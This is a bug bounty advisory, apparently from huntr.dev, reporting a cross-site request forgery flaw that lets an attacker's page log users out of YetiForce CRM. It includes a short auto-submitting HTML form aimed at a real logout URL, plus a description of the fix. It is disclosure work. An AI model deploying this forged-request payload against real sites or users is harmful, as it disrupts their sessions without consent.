Cross-Site Request Forgery (CSRF) in yetiforcecompany/yetiforcecrm

2021-12-0902:53:32

khanhchauminh

www.huntr.dev

csrf

yetiforcecompany

yetiforcecrm

user logout

csrf token

bug bounty

EPSS

0.001

Percentile

31.4%

JSON

Description

An attacker is able to log out a user if a logged-in user visits the attacker’s website.

Proof of Concept

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://gitstable.yetiforce.com/index.php?module=Users&parent=Settings&action=Logout"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.